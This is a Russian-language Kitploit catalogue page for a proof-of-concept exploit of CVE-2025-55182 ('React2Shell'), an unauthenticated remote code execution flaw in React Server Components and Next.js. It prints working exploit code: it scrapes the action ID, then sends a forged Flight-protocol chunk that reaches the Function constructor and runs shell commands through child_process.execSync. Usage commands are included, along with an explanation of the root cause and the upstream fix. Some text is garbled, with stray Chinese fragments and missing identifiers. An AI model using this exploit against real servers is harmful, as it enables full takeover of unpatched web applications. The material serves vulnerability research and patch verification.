Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2025-55182-poc — Концепт-эксплойт для CVE-2025-55182 (React2Shell): неаутентифицированное удалённое выполнение кода (RCE) в React Server Components / Next.js через десериализацию протокола Flight. | Kitploit
Инструменты/GitHubGitHub/monarchfish/cve-2025-55182-poc
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

Концепт-эксплойт для CVE-2025-55182 (React2Shell): неаутентифицированное удалённое выполнение кода (RCE) в React Server Components / Next.js через десериализацию протокола Flight.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
5 месяцев назадЕщё не проверено

Основная информация

CVE-2025-55182 — одна из самых масштабных уязвимостей веб-фреймворков 2025 года. React Server Components (RSC) уже стали основной архитектурой современных Next.js-приложений, и множество стандартных проектов, созданных с помощью create-next-app, попадают в зону поражения, причём уязвимость может быть использована без какого-либо кастомного кода.

ПараметрЗначение
Идентификатор CVECVE-2025-55182
ПсевдонимReact2Shell
Тип уязвимостиНеаутентифицированное удалённое выполнение кода (Unauthenticated RCE); CWE-502 — десериализация недоверенных данных (Deserialization of Untrusted Data) [3]
Оценка CVSS10.0 (Critical) (CVSS 3.1, Facebook/CNA [2])
Затронутые пакетыreact-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack
Затронутые версииReact 19.0.0–19.2.0 / Next.js 14.3.0-canary.77 и выше, 15.x, 16.x
Сложность атакиОчень низкая (один HTTP POST-запрос)
Требуется ли аутентификацияНет

Создание POC

1. Создание приложения с помощью официального синтаксиса

Создайте Next-приложение, используя уязвимую версию (16.0.6):

root@kitploit:~
pnpm create [email protected] next-app --yes

2. Создание тестового Server Action

  1. Добавьте в next-app/app/ файл actions.ts и пометьте его как Server Action:

    root@kitploit:~
    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. На главной странице (например, app/page.tsx) добавьте форму, у которой action указывает на указанный выше testAction, и которая содержит как минимум одно поле (например, hidden input).

    Next.js сгенерирует для этой формы в HTML скрытый input с name="$ACTION_ID_<40 字元 hex>"; POC извлечёт этот ID из HTML главной страницы с помощью регулярного выражения.

3. Создание безопасной контейнеризованной среды POC

Находящиеся в проекте next-app/Dockerfile и docker-compose.yml можно использовать для сборки и запуска Next-приложения; их состав можно посмотреть в официальном примере [8].

Выполните в корне проекта:

root@kitploit:~
docker compose up --build -d

После этого запущенное Next-приложение будет доступно по адресу http://localhost:3000.

После завершения работы с POC полностью удалите Docker-окружение:

root@kitploit:~
docker compose down -v

Этапы эксплуатации уязвимости

Шаг 1. Получение ACTION_ID

При запуске POC скрипт выполняет fetch главной страницы и извлекает ID с помощью регулярного выражения \$ACTION_ID_([a-f0-9]{40})/. Пример:

root@kitploit:~
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

Шаг 2. Запуск эксплуатации

Установите зависимости в корне проекта и выполните:

root@kitploit:~
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

Ниже приведён ключевой фрагмент кода:

root@kitploit:~
function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

В качестве примера ниже показана запись файла на целевой хост:

root@kitploit:~
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

Шаг 3. Наблюдение за результатом

  • При успешном RCE сервер может зависнуть или превысить тайм-аут после выполнения команды; в этом случае request завершится по тайм-ауту — это ожидаемое поведение.
  • Проверьте на целевом хосте, выполнилась ли команда (например, проверьте файлы, процесс).
  • Можно войти в контейнер с помощью docker compose exec и посмотреть, либо использовать Docker Desktop.

Объяснение принципа

Расположение уязвимости

Уязвимость находится в механизме десериализации протокола Flight в React (RSC Flight Deserializer). Этот механизм отвечает за передачу состояния React-компонентов между сервером и клиентом, однако в процессе обработки существует серьёзная проблема с границей доверия.

Протокол React Flight — это линейный формат (wire format), разработанный React для Server Components и Server Actions: он сериализует дерево компонентов, параметры функций и т.д. в поток чанков, представленный в JSON, и устанавливает ссылки между чанками с помощью $數字, $數字:鍵名, позволяя серверу восстановить полное JavaScript-значение.

Цепочка эксплуатации (Exploit Chain)

root@kitploit:~
攻擊者發送惡意 HTTP POST
        ↓
[階段 1] 建立自我參照迴圈物件(Self-referential loop)
        ↓
[階段 2] 誘騙 JavaScript 引擎呼叫攻擊者控制的函式
        ↓
[階段 3] 注入惡意資料觸發 Flight 初始化流程
        ↓
[階段 4] 透過 Blob Handler 呼叫 Function constructor
        ↓
任意 JavaScript 在伺服器端執行(RCE)

React Server и формат передачи данных

Server Functions в React (в Next.js это Server Actions) сериализуют данные, которые фронтенд отправляет бэкенду, через протокол React Flight в отдельные чанки, а затем отправляют их в виде данных формы (form data).

Преимущества такого подхода включают:

  • Потоковая передача: чанки могут генерироваться и разбираться последовательно, не дожидаясь готовности всего payload, что удобно для управления задержкой и памятью.
  • Дедупликация и совместное использование: одни и те же данные сериализуются только один раз, а в нескольких местах на них ссылаются, что уменьшает дублирование и объём передачи.
  • Совместимость с POST-формами: чанки передаются как multipart-поля, не требуя собственного бинарного протокола; это также удобно для существующих CDN, прокси и отладки.
  • Возможность выражать сложные структуры: поддерживаются вложенные объекты и графовые структуры, выраженные через ссылки, что удовлетворяет потребности RPC в богатых типах.

Чанки могут ссылаться друг на друга, например:

  • chunk 0: ["$1"] (ссылка на чанк 1)
  • chunk 1: {"object":"fruit","name":"$2:fruitName"} (ссылка на fruitName во 2-м чанке)
  • chunk 2: {"fruitName":"cherry"}

После интерпретации сервер получает: { object: 'fruit', name: 'cherry' }. То есть протокол позволяет указывать на свойства других чанков через $數字:鍵名 и затем собирать итоговый JavaScript-объект.

Причина возникновения уязвимости

В реализации до исправления при разборе этих ссылок строго не проверялось, существует ли ключ непосредственно в самом объекте, поэтому атакующий мог через ссылку прочитать свойства прототипа объекта (prototype).

Например, можно сконструировать такой payload:

  • chunk 0: ["$1:__proto__:constructor:constructor"]
  • chunk 1: {"x":1}

Когда сервер разбирает «__proto__ → constructor → constructor чанка 1», он получает конструктор Function ([Function: Function]), то есть встроенный конструктор, создающий функцию из строки. То есть: через некорректную цепочку ссылок на сервере можно получить Function и затем выполнять строку как код.

thenable и await

После получения формы Next.js восстанавливает из чанков одно значение с помощью decodeReplyFromBusboy и выполняет по нему await.

В JavaScript объект, имеющий метод .then, считается thenable; при await вызывается этот .then. Поэтому если можно заставить .then «результата декодирования» указывать на управляемую атакующим функцию (например, упомянутый выше конструктор Function), то логика выполнится в момент await. Следующий шаг атаки: сконструировать объект, который после декодирования выглядит как thenable, и направить его .then на нужную точку вызова (call gadget).

От «фальшивого чанка» до RCE

  1. Ссылка на «исходный чанк» через $@0
    В протоколе $@數字 означает «взять исходное содержимое N-го чанка без дальнейшего разбора». Поэтому можно сделать chunk 1 равным "$@0", чтобы в процессе разбора читалось исходное представление «самого chunk 0».

  2. Направление .then чанка 0 на прототип Chunk
    Если chunk 0 — объект вида {"then": "$1:__proto__:then", ...}, а chunk 1 — "$@0", то при разборе .then чанка 0 будет установлен в Chunk.prototype.then (в протоколе Flight сам Chunk является thenable). Таким образом, когда Next.js выполняет await над результатом декодирования, он попадает в логику .then класса Chunk.

  3. Запуск initializeModelChunk
    В Chunk.prototype.then, если status этого «фальшивого чанка» равен "resolved_model", происходит переход в . Здесь чанка разбирается как JSON, и к полученному объекту применяется цикл «оживления» (revive), в котором обрабатываются различные специальные префиксы (например, blob-ссылки, начинающиеся с ).

Исправление (кратко)

React исправил эту уязвимость в PR #35277 [9] (commit e2fd5dc [10]); есть два ключевых момента:

  1. Ограничение разрешения свойств без прохода по цепочке prototype
    В логике разрешения ссылок на чанки (например, в requireModule) сначала добавляется проверка hasOwnProperty, существует ли ключ непосредственно в самом объекте; если нет — возвращается undefined, и такие свойства, как constructor, больше не извлекаются из __proto__. Это изменение применено к нескольким модулям, связанным с Flight (например, ReactFlightClientConfigBundlerNode, ReactFlightClientConfigBundlerWebpack, а также соответствующим конфигурациям Parcel / Turbopack), что блокирует цепочку эксплуатации «получение конструктора Function через ссылку → создание thenable → запуск get-gadget для выполнения произвольного кода».

  2. Обработка ошибок в decodeReplyFromBusboy
    При разборе form data (resolveField, resolveFileComplete и т.д.) добавлен try/catch: при возникновении ошибки разбора вызывается busboyStream.destroy(error), что обеспечивает корректную передачу ошибки и предотвращает нахождение потока в несогласованном состоянии, снижая поверхность атаки при аномалиях разбора.


Ссылки

  1. NVD — CVE-2025-55182
  2. Расчёт CVSS 3.1 (Facebook/CNA)
  3. CWE-502 — Deserialization of Untrusted Data
  4. Официальное объявление React — Critical security vulnerability in React Server Components
  5. Уведомление Facebook о безопасности — CVE-2025-55182
  6. Каталог CISA известных эксплуатируемых уязвимостей
  7. Уведомление Next.js о безопасности — RCE in React Server Components
  8. Пример Dockerfile Next.js with-docker
  9. React PR #35277 — Patch FlightReplyServer with fixes from ReactFlightClient
  10. Конкретные изменения в React PR #35277 (commit e2fd5dc)
  11. Справочная информация по POC
Скачать инструмент
initializeModelChunk
value
$B
  • Точка вызова: _response._formData.get(_prefix + id)
    При обработке префикса $B программа выполняет:
    response._formData.get(response._prefix + 某個 id).
    Если в фальшивом чанке через _response контролируются _formData и _prefix, а _formData.get указывает на конструктор Function, а _prefix установлен в строку с исполняемым кодом, то эта строка превращается в:
    Function("我們寫的程式碼" + "0")
    То есть «создание функции из строки». Эта функция будет возвращена как значение .then данного чанка и вызвана через await в той же цепочке promise, что приведёт к выполнению нашего кода на сервере.

  • Фактический RCE
    Замените «наш код» на, например:
    process.mainModule.require('child_process').execSync('要執行的系統指令');
    что позволит добиться удалённого выполнения кода (RCE) на сервере.